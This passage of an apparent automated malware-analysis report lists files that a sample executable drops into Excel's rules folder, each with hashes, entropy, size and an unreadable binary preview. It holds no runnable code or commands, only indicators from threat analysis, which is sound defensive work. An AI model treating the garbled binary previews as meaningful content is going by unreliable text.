Preview:	<?xml.x.[d.!..p0t...?..G9.F-..,..L..b....`^.X..J..S..Q.F..j......+..nFt1.....v...@.f.1..K.......d.;.._.~..L....."nL[Pie..;..4M..[...!-&.+i.o.y.(.L....]e..c;.-H..<>{.A..m..dt.#0.c.a....>.W..W..`.8u..4l....a.+U(...%.C..`.....u...WW.5"..V.H......4.t..K...c....w....h.t..(.......S....Zqe].!.s...v..c5.....C#.E.Q`.il.P..U5.{)..{&-".t{.............y..u.....8.i.-....m-\|X....#.h....\..v......}..V( .........E..#.[.w...p].3dB..x..#.....Z.....[DDot.BB{......4.y...-G=...\|z.dJ...s...:...m.L..7].2{....C.F....4.zmm..p....l../n.......P..X....x...f..N'........\.`2..0....X.....i...}+u\|.W.f..0.;..Z.u....F_........t.e......N...."k.R..O...t..t.M..I.]}8...AX"=...V;D.jy.G..O>....,?O.}v......&.~.2x\......a........:U......C.............(z=..@.$3fe....Y....z..M.zSH..a[.N.x.C.[..`.h.!.L.M. ...C..-..2..t...P].}..aaU..A... ..C.-...G.h.6.w0......kH.@3.?.X..%\|.EH.... .O...-.."..#&._.f...C\|=J.I<....;J:4..#..,.Ol$8.@..7G'.oI.,...]?....3.\|.j'...80y.ND9rdz/%v.9.K.....c.x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70006v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	7.648578595253662
Encrypted:	false
SSDEEP:	12:Q8tIpSSp4ak3ZUxS+FDSlRC8REUCXtrXKsdgMQAD8VNGGvN4rhfb7x7MRN6IIJOT:ASd3h6DSO82TtrX/d+vqGa7ZMRN7IJOT
MD5:	97DECE8DBD2D57886A95234BF2C40430
SHA1:	C9CDB664AF5D6A7B8823DB8CB356DC71B7F082FF
SHA-256:	650B1AC2BBB60DBD9DE0BBB35F4C649E1A22192554870A06489ADDF6A35E80FA
SHA-512:	552564F3D6F265F09215DBAA318849E5E0A996272A0A68CBACB6C89BF448313950FE5DCBA0E74F395E7A5A6BAD7D47356DF2E4E7D9F9D5F750ED496D5837D04B
Malicious:	false
Preview:	<?xml..M.'.}B{...h..lTR?b7...,...r.`z.!..I?.}.'.p.S.Z~...xI.7.OR.W1sN.0'.i.....5%..Ogf.4.S...4....#.w]..l..)_.o..B..(.9.....Z......NE.O"tLb:O.A...tS..b.v.3d.-...g..Q....ps...P... H4..x7.[...1.y:..D..=.......O.D...k.x.........0..H..d.....4..Y....u..X......]N/1T..GJdk..pE.fY........:.i&.w=..S......T)e}<......1.o.2..}]....d..~f...N......K..........d.fi....F:Z%.y...(.Y...i.P..,.C..qz.m7........aN.....Xk.E....wu..0......P.e$.$JH......}X..o.F#.M......+......Do..h..yg{..(..PZZW...e/.D..F-D.t..4[..,.t.....y.-h5>.P...V...V...'3.N0..s[0..j&..7u...R4....3..Rx.3....e-*...V%..f..}+&S.m..%.<.T&.&.,....80..=.....5..vp.[9....Y%..J.Ugm<1h"...4.....p.....&0T=.p...7z....Dt....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700100v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.880899324184603
Encrypted:	false
SSDEEP:	48:46KoWvq6W1DMat70pg/16jnQg0/wLqNJD:pSv2DMGOLjM/wC
MD5:	095F239B8DC23C90B0D78F2F60DC9A74
SHA1:	D43D3DB3FE911B0282B7E78947022E1AF98E8226
SHA-256:	6AE96E9D3B5BEA55B738F58BF6DA7D74DE0B90A84EA11FBC04D8ABB194C00EAC
SHA-512:	006DA0249F6B1DAD9684CA783C25B7A4FD28FCEC49CCF06C616F3A7703C3BFD8C5991139C28FC6E23E6E7B00E38DD786FC0C5C24F9750DF2D95E06AF6446B458
Malicious:	false
Preview:	<?xml.../=.A...DiePip.%.........\|.p..v:[.4+c..~]..u.=_.0....W..iI......8.....,....1.......0.5F.]TU+.\|..."..)..R..xz......6R.z....E.1.`t.k."..QP...?.v...{.... .......d.ioQ.(Jc..7..H~.......lU..m.&.....<.';" 3...K...r.W.]._.p2...G&Fj..`b..=s..H.. %>o.].}..N>FSH.U.8.5..>D.~.Gj....i.Y.....a_S.......m/...0%}.n`.C..!U C....L....;(G.>.;......6.X.p..w.p^...d...6_..'.}.c....#L`...l..X.e.u.1....E.s......o....:..n... ...M.>...L....hn.wX......9VM?wL.....'%..."E%.....[.i.$....ME.bp.Ut.%.zGy.F..2.=!v..}...O0.{.......#...v.Uf5#.....I3.K....r.Q2...#97.~t.7.yw!^..1..9..m..f..e.oN...!@C.`.v1Sn.BE..8C......#E..0..e...-g6..;@N.hc:......0.T.r;..'3EZ...nN.......{.....GZ...OLqT.\D..........X..S.0..j$...>..2.j...#..#)[>;.~V4..f.R.n..<...n\...o.d...d.}..}.C..4....P/.=.....S_._...-....O4.w..2hC.9&.DuT...m....Z..?.....a55;uu..1+~xS.e5R.j.h.~o..q.X~.S.\.(4..(^..z....@..../...H.M.;n..vn.[.C...~"... .AZ6..5);.!.TT...@NG/....m_..=..(B..o..=...:..7.{.@.Z..[....{....N.V..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700101v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.895093468598757
Encrypted:	false
SSDEEP:	48:tyobgZ4q5/YXZwBO4cLiQ9iLQtkKooNTq4P+ZDJD:tyNwXv4cLD9mzKxq4m/
MD5:	6E5037D468465D699CD39DA8EB5E5E79
SHA1:	14A1B1FDD3FDD13947F0E9484601BA92ED1A7A54
SHA-256:	B7B269E7C36879628BCC4F76BA6EB11B7AC3E90280B039EE54DEDE152969F7A7
SHA-512:	957EDE45DF266802000D004B2CF25E3D8C0B36ECAA5273229EC917C2333075D5D73E4B7CDFF2FB226C0055D3E8A4EDED65D33B915C31414889CE9978AAAC34DF
Malicious:	false
Preview:	<?xml..MY.a...Jh@~1.m.....=..\|.....<..0....h..c..".zJ?.D"..y....h.nc.-.`....c....+!.$....y...G.......x......{.V!..$.-......H...u+.........;T.^.S.A...... .C..\|..t....@.BZ.....2....I..l.g..../..\,....o...k2m0.i.x\|.4u..e)".FY....)...~......h..hf...qH......1.g6`......q..m7r.F5.M..b.....5...b-U..u(.%.k..,.xT.Uf.Z.i..Dyi....@.D$J.../.t:.)D.O.HA../.....ZN....#kk.Z.Q...WG6ty.2.`....~..2)..../.U0.co.d...S.....Xs..2P.$....=..r.....W.....(..........N.....2._.-O...6{T.T..?bYo.6<g....&..1..D.M.&.t..Pi...N...d..v........s...c.:..9.......%...r.`l3U\F....wn.b..P...V........[;i9..AP.J.S..0.?hO.N``.......U...>NH.! ..j.=.....;.Y......d.+5.ee..z.....3..C.x+.}...S.afA/.../.....6.L.5...p..........A7..QUKhR...s..b&Ex.x../7...K.$.gqr.7%q.....uF.p.*.?...I2~1\|..Wcw.jjq:..6I.....&d.].2 ..$Oi..U.l..y..o..{<....w[.a..lB@.=q].m @.+.I....H..j#.W....e.....-...[VS.8...0/.......m.......m.........;..h{..TX...{.....M.l....:......u.T.....d._j....\{s.x...,S.....L.(.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700150v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.886749219953982
Encrypted:	false
SSDEEP:	48:7IU0qqR9zKwTefalZEKsgFbSh7yXQLYAZcV8Omb3LJD:8UsR9zKwPl2bgFbShuEZi5W3d
MD5:	69600D3BA0327A393AEF38F01AF3FFE2
SHA1:	208FA8C279130B54B9B240D556C967479D885837
SHA-256:	8DA22561663EEC3238EAC5E79DE50F0AAB4A0226329F3828F77341E6A411847B
SHA-512:	0C0AF889FCBF29E9B096570AC9BB29DDA58B4E8CA5C4EC0DAF8B10DA376FC42730D29913BF3DD6BD6A61E165A5D10CCFCB132847BE527E2D0875C913C17505A5
Malicious:	false
Preview:	<?xml?..~{...i./.a.....G. .WOP&.].....HJ@..&W..t..G...aF>.C..6............I.t...[Y..[-.8..yo.&b..F.e.....]/...@..5...~1..M.u....h:!....B_...Ogr........L..}#..D.g..X..dJq&.\|Qq.[......b..c#..........e.....S2....`...y!..?..L...hs2 /.c..........P6..7.E. =C.O..i..C.T.C........FL......I.?8........s%.}.;.%.../.E../...A.Ga...-....90.f.r.(.hkigE.#1^p......M.6X.n.[...-...N.........%8.}.u..G.!."x.Tr4.....9.....!.2.8Ao".r6H.....S[.RA)...<......h..............J......4{.YT.nR..I.I.]..$+.5.gqi!.N..(.d..$.H."7e..au...d.........H...[gC..3.P.i.k..y_.3..y..jU;.(...f....i...H..X..1[...u.5m.....M.....\|P.".v.).. td.@.....=.......v8..t.+.!...D9.%#9).h.!K+.X!<..?[X.>.........\L.L%....#..H..&fwlr..mp...r..Z.A....2...........?1.......\|.}.~.......W....78.Q...W...F.........(......0.l. ....Z..9*`/.K]...b.......a......3..5.HVf:.B......x..V.w..!74....(......4E...FLo#.?.=.id..X....%jGO..W.....T.W.....};,.L....Zpl..+4H.9..)Z.......P7.e..x..bg.....1P._...t..<.y...~s.R..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700151v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.878659894033043
Encrypted:	false
SSDEEP:	48:Mu6Rupmw9sJfkrlmVeWwDupOX6YMB4KmvoJD:MQsZGlmV2ZqYMn
MD5:	EF9C46998DBB26CC9E94E54DE79591D4
SHA1:	479C8EF4C60D9F949ECB569A47E6F13C829C7C30
SHA-256:	A3A305913804EACFE3CED7D06C8E4E78F6FA9FAE187AB6D0088AE53A7E07EC9A
SHA-512:	DDF32AB331D713C21F52FBE90073B1ADCB100FDB6D9657BC3D521331A3ACF27C6045C01389282A3730FE86B8C683B7FA6FFEB33077DC144D4C4CE1648555DFBE
Malicious:	false
Preview:	<?xml.3x...N.4i.^.>..s...oI[V,u.....n.....;..sAQM>..ad..k.r\..smm..;b.._.^.I5....x..a?.....4.d.:CM .=k...j5Q!....X.7.~.BVt...{!h#v..5..pl1AE..#..V%..........d.{.g..>B..Bgh.G.O.k.C..........F.Babp../H.:.%d...n.%.jN<( .LT...x...'4..<.C.......m9..u..7..W .l..F.0.@..`0VKQ.q....n.....O......^..Q...Ky..L..@O....w.[.dw.t.t.(G..B.... L~V..g[f........fT$M....-..^.`c....\|.V.%....B.[7.xk{.......u.o.....%...k....j.+.....G..wr~.\O....t.G...9C..G..]7...J...~.("....5ML.....1M...sP.+..HS13w..~.x.@,i=..+.q.^$P1!q.[x..M.1.1...NH.<7...-....-.7..~.........!!.(S...".E..`...-cf..v...'=%ol.-jn....~n...z..0..\|....(=.3\@.JB....]J2.Y=1.!..I\|.....p...4......h......m ...b...9;.e#...pE..v .._..h......x.f....V.8...N.\|.[..97.F.:..g...s:.#....qL..sh#.l z.VW..U.o.sT.r..NN.m..Y>......g.X..x.!.....E{.`...w....T.k...qv~...K..U..N.s......o7=..Fb.../7^...&...M..5.'.[..._p;.....rV..c.Q&.6...T.@%.M....ze.2.6.%.l...0....j.E......\|..d?...nN....a0...e......\.{MG;.."{.....3...;...N..r.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700200v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.868354838885693
Encrypted:	false
SSDEEP:	48:TI7/7XiCbf85eZsKKqYfeIuaAIbbSFLgdJD:TC/7XiOJsFhDAIbmk
MD5:	229658E8E8BBDDD5E3AAF495EBA53735
SHA1:	7FA123BB58ADC6FA7B4159550FB96C5A758F5215
SHA-256:	2EDD13E1294FD02F85860C760948BEB7F9AE39A2B24A652F74E1AFCA373433AA
SHA-512:	BA12BE34E4700928BD297FAE08F82331D4F6BFF30BB145D28A40575ADE51358B6DBF9FA3B3FE6720D33DA395164B5CC0B381FF8E63B6BC1DA8179B05C6D01AFE
Malicious:	false
Preview:	<?xml...'..:(y...V .k...U..A..g#v.7.4p..l.k@.l ...\../..N^.}.f....Y....w..@3..wb.....v.f...H...Z..v.Ch..PKd.~p..q...j...Y..q...k.......a%...{#....7..;p.[............#.j.q...m)].A.0cF..80.."2.._q..[.....]~1.X.`..e/A.....W!..6...+.cF..i.......p..J...e..Hz(.6.......~.m..S.=xG;.....J.Y.F......U..S....m....{..x..m..{.B.H....S,..fid....R.1.P.!.^J.mh............I...C...Fw.\..;.;."p[.3{M..s..../.&.#......!..1.....H.%...".)....?.B...X....YK&.I...b.s4.$"sq.}.g.$J....5n;.......d$]T6w.507..1..b...HQs.O'.......3ApfS..P..$....W.Z(..{.\|.......^G...r..ydD......J.H.....:."......\|.g.{6.l...R.6.(.(..og..cCp.w+......l).?.`.Y!.;..............t.....\|{.....?.9..j._R.E,.c._^.{Q........~...0 b.[.)!\|r.#...".*.)..m..3...4=m..F.tk4.g.Jf...%...... Z.K.Cg..8.......u.7..."^......k...+......&%>`BO{d.`.:...\|a......b.k.s..V....[.&?ko..)x.j"..ee...&.F.sCUBx...H.....n...#...2..........p.;.....Jj...~.9\.......W..0A$..1.NGV.e.Oy.`...^.M..>_...& V~R?H..E.6MfJ...f....L.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700201v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.877737898561232
Encrypted:	false
SSDEEP:	24:lRqdcSxphrZIoN9ZpDbfkHRbco3nTJilMzcCcwg0i6bgHvtP0r7XsWnseERnAs0J:lRozhtII3fkHNbz5ukgWr/nfERA7PJD
MD5:	3C02287A560A570D18DB5120F2A249BF
SHA1:	4750671C8021619D6A8CF0DEB43B9A7D2DCC8486
SHA-256:	F56F1793BE3F1702BBD93C9FFB4CE0966EBEC710B4870794773342BB6D9971F3
SHA-512:	653785E8EC96026C611C768BD6724876203954103EF908217BA9E9C9941E37ADE4D93609F0A1EF0A44E5E11108AA607ADC6BD076757A44633416CC46072852C5
Malicious:	false
Preview:	<?xml.."..)Y.{...G...&d.d....._fJ..Um`..b.7......aC.........\|..O.T2%..u.96<N"_..........'ky.d.u.A..c.]."z..>Dc~.N.":hOJ..Y......z./......``.?@.M.S.....j:.}.}..ko4_.O..qH.6..dc....O.c@.E=.X..#R.7......_.i..@`0.6d...M..%^............,....m.......2.g.....~. ./.3o.....M.B#.x..[.B...#..TBu....',..'.E.A.........kDSj3...Vz.6.p..f..h.o.=?.)...bBA.I1..(.:.S..#.?..w..oK....}..CA\...oB.v.h.u...n..N..9q.A.....?...T].U.$.T.!....TQ.g-.i.#....I#.._.5.........O.....hsT....g.....WQ.+....e.'B.y<.....FS..6{.i..n._.\|....:.5q...`.D..`Q..yg1.I..T.Iz~..=!......P....H...R[...`.A9.........w`H....3\.=v<...eZ...k8.~...D[.~....&.h...}[.i.L..]E....Q.7.M`)......$"....eT...y..y.. ...f7.]. 22.w...?..5}<....~.]m....fI.....@...C{.....v +...?.'}Z0&.v.....o.q...iAe..... ..N.9.^.(.........]..M.#..69...T......M....@GCLU....JN..`1......\....."l.z.V<...+.R...=.W#p..l...........-t.Ed..$..F..?.\[[)%.B.....c..@.2S.Y..L(GD.....f....;..N..<.tw>H>.....fP?/]....+J.k.#.K..M.s'{..\|..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700250v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.886249578457316
Encrypted:	false
SSDEEP:	48:IHt9oZUsFOMlkymGbbU5XX0i8H4/XMKhct7SzHjwJD:it9oZLFtltmMsXX0i58McezO
MD5:	F5F96E68430C05EA09959C74284A5969
SHA1:	5AFE0CC000925AEBCB5122A22E48D39156C608C6
SHA-256:	4E48A2C45B93934FB13656C7E195A1329FF837587CAEA85B66C95070574A3030
SHA-512:	3D1C6A2D130086D52DE2722C6549779667C77ADBF0336CC35CF6D3987333AC8C112CC301AD74AAD6FB0A5AED2004AE1099EA6776AD3B06AA04287FAD566016B0
Malicious:	false
Preview:	<?xml...,.u .,....S......m......8#.\....1%L.~..{........r.......G..M....@...r..IcH...{...!..._..s.(6Ic.f<...j!..Ik.....E=9hl.s%..;.Rz !&v.G?Q..t..'..z.p...c..m.\|...}....;...^V4..V........R.a.f..88..A..8.......].x..5Fr..a.a.2...i.....M.r?.......g9....j..sM .....7...Z..#...o$:.t..n.Yk<.....C..g...w..L....9.../qn.q#;..v..=.......3....d....ZA.O..E.q..\|.5........\...C@..P.....).-.@1!b.."PWX<g.K...-#Y.rH..e.P...qV.~......A..(c.......(.c....{..jBwE/p...-....X.j.%=6S.p I{.:Tg.h...g.&...1U$.Lvo53.}M..6.....\|.tBc.W..x....s..+r.[m=9.....V........Gvp...C.o...V..6..`..md..>....e...]t.E..(U.....D.M....~...pl.F....B...i...QN..1S/..hl.%j$..R.p..2.....P%t.v\|..]+..'...%{Nn...b0.........E'q...=...r ..l..I.....w.J......=.....i.Z...1%.X...a'<...7Z.K.j.>.&.........\..0z...?.p.=ae..s...C%.\K`7.K.D39.,.9.wF.v...X..{t~j.Y...E_.......j..s.......<...)..Dd.t..r..+O1......5:..Ct.../&....4.w..Q.T...[fM..H.(m?.Ak....'...........<....V...9.......b....../..}h"..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700251v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.864209991229978
Encrypted:	false
SSDEEP:	48:Ni9+lYQxetRTmK61AldCsKSm5gpn7YbG5bDisJD:NbOyiRTmK61CKSm5s76G5niW
MD5:	C471C7C9E91697D42BA7D1BFBC38796F
SHA1:	51A76962A92416F7AB12483D154D9DECDC343BD6
SHA-256:	204E7018BA77A5EF8229330FAFB650DF06BEC8F791A2B8DD9D9D56BDF70031D8
SHA-512:	C003A129FA6B2DB6D93212CF82749277F55D87038ED4E23C825009AA30C437DFED758050379FDF92BD1CCA517596423C6DF829979F81D02C5322FEAEC0FC5006
Malicious:	false
Preview:	<?xml..=..c%....nTl.....].....Wo.dtSk/...{3..R.w.M.}&...i.G3Ak...x..u.#U_.V,._98..K.]~}..)...a)&...;.cZ..;..D.!S.:....v.#.[t..,.Q.MKt9....5.&.A[.\~..R.(.*...A!..S.H..?....8Q\....R(.....%....B.}.s....K.%...4.q $.F..mS..d....E...T.4....+...A.:E.'V.......q.q.<>.C$..!...u..E.[@.B@....-..q.j}..f....j@.%x...>.\|3u.....0....F..K.E.9..G......\|.:<?....#...x..4.RG=....t..!FA/.ra._..pVI.$()....5y?~A....!.....Zy..i.....4...z...(m.w~..p..-"....xm.....%.I.[.r.0S..%.S...I7..X.>.%T..0..0..L~.x.PK....]l5F.;....Ir=i&.....@zE...-n..n.y...c..z9..5/.'.h..R.0.#.GO....Z2H.../..1..5..Z8.........#.1$x%......%..'0.. 2........_..I..........X.'.nA\|\|.xz..n..'..OJ..~.px[DZI.K.._I....g......3......,.5.F.m.?.I..,.."Q(.....=.Y...<C_..B\|.D~\|\|Z...a.t..t..e..5}..../.Ra.NyM0\.7=c{..........r.._]+/...I...8..K1.<.....1..#"./.....)..x.......in.M.i<M<)I.(0...B....a~..um..4...4+S5_...'>....UTDi.....L...j.....m.-....=.....s...N.?x.........'..O.T...n../.:.K3.j..../.\|.S&.nH...ZT..p..U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70025v2.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3225
Entropy (8bit):	7.9398411957510495
Encrypted:	false
SSDEEP:	96:UH7AAi3CcXino3wIor+pxGnGcSgMOGWQEbaS:YQbXurMRsMzWXaS
MD5:	E4BDFD0A70B6CDD7193F54BE9134E16E
SHA1:	926EEDCEB31502BD2589F34EC551E02F44BF0753
SHA-256:	BB6DB0025F908BC02265A58CCE48EC613F177EB01EC064A202AD4845BF85C00C
SHA-512:	2B3EF82B1BC5ADB422B872725990F2EA19BEC0409AF08CE582DE20E3E193EF7AF0654372F990275FA6733BB3079BDCE32363FE225CB83DEDF1D7187B5E1B96A5
Malicious:	false
Preview:	<?xml)..9..P4.Z........f..9...y...lRm=..W'.w....W.I........7..`5v.S@.....G..v..........X'.M,.C.P.CR5..Anm.4.-...Q.Ps.......IJ.w..kL/.8T.S.....?j.h..$....?..Zq.....}.+..,P.>C@....g\.......9X..c.,A...L7G.L.H.1....q.y..p$.i.....tU/</..C~.D.4L..q.S.e.8.DD......a.<eMz8W@y..I....t]......Y.sM9.Ba>..k..<..V o..S.).NyT..TGUH.U.{...xy..n.v.t=.V..u%..wx...h.d.g..m.7".sHuB=:..LM...Z... Q.C.......s.k..9..C~Yl....N\|........~[...&~.6".C(.....`...+4.._V\|..Qi......n.W.qS.q...M.\.\..e.....jgk..V#....*.4...(......T....-E.\|.=....T].M.1Q\.....E.....>....y.8c.Z.!.ui......xC..A.+..(..D..3D..p..b~,...]u5.kJsr.F.=.......K[...7..C..7.....jU.p..}^.~k......&.1...x...o}..~A..7D....a.{fi. y.4...V..u"....B........z..dt.K..o.6...j.uuL.s.iB......yfR..}mz.q.....`.2..nmx.rt...K .........j.....H...[\|8..i.;HK.....2(...]....=....=p....#....7...,.........H...cV..FD.`.Y..X._.?+t:l....D....1EK......]i..P...B.O.v(G....6....u.!...I[pJ.w,c...m....}t.......`...x\|..B."..T.....ux1d.p.B....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70027v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.734149305574064
Encrypted:	false
SSDEEP:	12:040sPm5/c45aHx88WpFjyZ1n+SWtYr8f3UDrzJaBYNLzLz6fWHINUP9M2cii9a:X0hJnqZ1n7WoQ3wrNLzNR9pbD
MD5:	3B0D4B60D714622928E5D4BBDF460616
SHA1:	8702749423534CA417EAFB5B33088FF3369BCCC5
SHA-256:	3D55DFF8F480F3602B0E61198CA25B81618F54AC8450DD144AE90F64F83BCD7D
SHA-512:	F04557F85A9B78270E36AFF35BC195408FE2128ADDAA6CE6A67A93E14546A33F97C66CC22F6E05CE37277140F66831F23C4345146E827779FF5C9C688B0DC663
Malicious:	false
Preview:	<?xml.^..'hD4..'}.<N......$iw.>..x.U.p+.........M..39.....9..W..?..2'.X...!q..m.......F....c..BM.#l..V.....ot[q.....,.........Lz.(.Z,...v.....yn....\..jLB.).\|.1 ....'um.B.._...Z.....C.h....\|xK...e=....:.....T..w..6b......c..%..F.G...%I8Bp9 .&.{/w..B..4K..8...Y.=..c">.......'S..}.)..M...N@.Tf......<..9.?.....t,1=..(.B.g..+.....l>.>..w.M...d.........G.-..r........@..!..-`1L@.....+...i..S....v..A...6...s...>..r..<r.}{O......v1.&.F.j.4..9....?........`{'H..e.#.0.K.\t<oW...I.......V.!..3.D.q....Q.?[..\.....=...W..q..H.....4..0..oe]...hwU\|....Le.V;.oO.#...sP............5v..-U5K.....+#.E]P/h.s......>&.u.m..1%'..7w.<I..fcs..:...U..CN....SH/e.{...hq.7N...$.~..C.(...>y....P.O.........s..A.....)..v].o.......N.[./....o....1xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70028v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	7.806686567568277
Encrypted:	false
SSDEEP:	24:sod2MdeU68tCVG5NaJGWXgIyq71DdhXTnm8QFDVGi1k+jyZtN9pbD:sozCjXJXZLQFDVjkxFJD
MD5:	C5B5CDE2B8576853501A048213CE615C
SHA1:	A55BCD5C5D4505D5DAFDB14ECC00B80FEB89EA8F
SHA-256:	3BCAC68B74D512FDA7AC636B0CC68E7695721033A8BFDBA5DB3181EED8F706CD
SHA-512:	B577E64FCA880DC7092A1E4A8814490A5B32DDFC6BC3E2F2B942F9D9D7BD2FFEF4F2A9064243E1C02056A1C90ECAF95F0BEE31358FD03EC9D7922334CA74FB2D
Malicious:	false
Preview:	<?xml!.k.8@m.-R.V...F...h.y...&.$>..?~.P~.}..<.......k..cB.<]u.%S..?.....7.x....#o.gZ.....).x..).w.o....WW.kJ%...L.m..B...MQ...+..)_..S.t.\....h..D...>.......`f%L..[j.L.P....~..\|V...6...W............YT/V..>J,...>X.....xd..(..}..jL.`..wj.E...i..l=>....xZ..6&zj......w:+`...X....u.7-..B.K6....V6Z.y}2...{..~...!f.......R.....O+/+.VD.d.....G....a.-.[B...g.\p..N.d.$w".C....N...M.U...T..o.........Rv..cXG'u.N....X...Zav9G...P.V..xmV.[....6....a.......!...S3.P.6..O.Y..a....8.MZX...).r].....'.E!..9.......1.O7.5..N..C4<q3`>[-$.o..i.....R.c...%J..S.?...l.E.>K>F.......a@P...G..)W..v..-/..h.r`.YAP...-K.N.K`I`..A..............n/>f.n/)r ......[N..Zc.V.J.Mv.O.K:.-[,.......).U9.'.,K......X.+.>........\|\.._\.U...gK.$>.g......;.D...._.2[l.?..<}.ym.k.k..G..Sy.CB....q.'P>..{B...\|.u>a..#0J...p.Q.t..... ..a...%.b.B.."2 .m.Ml.Z..7C.6+.J.....J......m<..t...l.....C.?..7A.Y.g...&...J.,5.........9\.3"+`pw@.p.....D.n....%.D.~...P..$NL..D..J.....w..#....$...j....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70029v0.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.819197064823655
Encrypted:	false
SSDEEP:	24:jy7IrNJm8YxD0yG7Fmv4+ZRTQDIpmE3ihbITTODIHt7M/9pbD:W7GNJwCsgYTQDKmE39PBgVJD
MD5:	F88FEF23D9CA1E99B1B9137B947F374D
SHA1:	9D6A1380E6EA2E51FBF6D5AD32CAFB4D876280C5
SHA-256:	A1FB307B1A4285EEE1BD758CB7B58E9B953DD43FCAAECC1CA506EE70E01776EB
SHA-512:	86B2529FD18B2B9B843845FAC082FD6D56CA7214E34DDD8283B61B83CA6582C607C73FBC049EE96850DEE20B22CBC6EB02D82DEC844B471376DFA83575D95397
Malicious:	false
Preview:	<?xmld..2...eZB.........N.[.3.D.(..P.W...y.gh0_...^..\.q.K7..e...)...o8..=.........1.Y....?{......n..X.+^..'g....."\F..O.]....m..DJL...1.>....A.b..).~...H..s.0.x..D..%.m.E(<5......'.............{...7.....<.8#E'2.7.9..Z.f.mi..IZ.K....H.j..D;..V.R.L..H.Tr.36...T= ...gkM?..\|.[ts.`.O<f..7...B5....@ e.......6/.....ny'V,#J.N$QQ.p.....7..!...n...cP........[..>.w_Mi.g.^v...B..D.o..c..+yIc..W..X...6...lz..\|.%P..S..eI,........\|.=.jl`:...5..........U3....m.\...pIX/.......K...\....@.....F.n-.D...f.U..+g.1...w;..._)0..OU..^.O..]..f..K47...t....7...A..2.S...+.03..9Jj.8....@`"..w.o?RZ.ke...5T...I..w.Z.a.5.>.6B`^:4n....m.......X)7.a.z`...$9..>....Q..~rRK.\|HG........U.S..T.`.X......&>l.ac....}].h/..~....6..eqg.^.....'Z....n.Zk......)..<.]~...?...."...W......1H..q ..A....d\|6...Nl.>.z...Y...*......I......'.t..'..iE..".J..d....NU.....i...A..i.4{..$j..t;\a.{.M,......G.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700300v1.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.895176316769308
Encrypted:	false
SSDEEP:	48:6eYqew/dg4w4Ys3uejzl8ODsoCn4aB2pFnL9JJD:Mqew/yUYsuDrK5b
MD5:	7B0FBCA2FB7A43F5F0CFD89C8FBF40FF
SHA1:	9EAF519BD88ED37D16CD62BC6BA719DF5A77135C
SHA-256:	123FECD458182E2A3CFC498344BC894631D3912FC811A57104EC434B9A5D0AED
SHA-512:	247FA896F50979E0336708C591031C7676E67CF4A37CCEC7A67592F9FEA265C590708F6A1B20E85E26D8EE2146F8EB93FCA2E52A225A59BA5E459C3149551894
Malicious:	false
